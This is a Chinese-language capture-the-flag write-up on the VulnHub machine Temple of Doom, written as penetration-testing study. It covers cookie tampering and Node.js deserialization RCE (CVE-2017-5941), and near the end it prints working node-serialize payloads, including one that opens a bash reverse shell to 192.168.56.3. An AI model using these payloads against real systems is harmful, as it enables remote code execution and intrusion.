VulnHub-Temple of Doom: 1-靶机渗透学习
靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
靶机难度:中级(CTF)
靶机发布日期:2018年6月8日
靶机描述:
由https://twitter.com/0katz创建的CTF
]难度:简单/中级
在VirtualBox中测试
注意:2种扎根方法
目标:得到root权限&找到flag.txt
作者:DXR嗯嗯呐
信息收集
nmap扫描IP
nmap端口扫描
22 ssh
666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。
访问80端口
没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么
Node.js远程命令执行漏洞
不知道怎么办了,使用burpsuite抓一下包看看吧
看到了cookie的值可能是一个base64编码
界面获得一个json字符串感觉格式不完整,修改一下
解码后
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D
修改后
重新编码提交,获得一个界面
加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞
大佬写的很具体
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
- child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
- child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。
编译后
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=
获得用户名 nodeadmin
直接使用bash获得反弹shell
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}